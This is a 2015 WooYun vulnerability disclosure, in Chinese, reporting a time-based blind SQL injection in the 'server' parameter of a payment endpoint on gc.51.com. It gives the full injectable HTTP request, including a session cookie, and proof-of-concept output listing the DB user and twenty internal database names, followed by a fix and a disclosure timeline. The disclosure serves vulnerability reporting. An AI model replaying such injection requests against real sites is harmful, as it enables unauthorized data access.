51.com某站点MySQL盲注

编号114605
Urlhttp://www.wooyun.org/bug.php?action=view&id=114605
漏洞状态厂商已经确认
漏洞标题51.com某站点MySQL盲注
漏洞类型SQL注射漏洞
厂商51.com
白帽子lijiejie
提交日期2015-05-17 14:48:00
公开日期2015-07-05 15:16:00
修复时间(not set)
确认时间2015-05-21 00:00:00
Confirm Spend4
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank6
厂商评级
厂商评rank4
漏洞简介
51.com某站点MySQL盲注
漏洞细节

注射点:

POST /pay.php HTTP/1.1
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://gc.51.com
Cookie: PHPSESSID=e50b7f8f2d8339197b15d3d5b043e945; FO_RFLP=%7CaHR0cDovL2djLjUxLmNvbS8%3D%7C%7C%7C; FO_TUID=aUYAPq
Host: gc.51.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*
a=generate_order&game=1&money=500&server=1*&username=username


server未过滤,可注入。MySQL time blind.

POC

current user:    'game@10.%.%.%'
current database: 'gcstatistics'
available databases [20]:
[*] `db_user_aux\\?81`
[*] db_game
[*] db_market
[*] db_mobgame_stat
[*] db_moer
[*] db_pay
[*] db_stat
[*] db_stat_log
[*] db_stat_log_bak
[*] db_stat_online_bak
[*] db_stat_snapshot
[*] db_user_info
[*] db_user_safe
[*] gamecenter
[*] gc_website
[*] gcbbs
[*] gcstatistics
[*] information_schema
[*] mysql
[*] test

修复方案

参数过滤

状态信息 2015-05-17: 细节已通知厂商并且等待厂商处理中
2015-05-21: 厂商已经确认,细节仅向厂商公开
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开
厂商回复谢谢漏洞的报告,该漏洞是基于我方的二级域名解析到对方的网站,我方已将漏洞的域名解析全部屏蔽,同时通知厂商修改。
回应信息危害等级:低漏洞Rank:4 确认时间:2015-05-21 15:14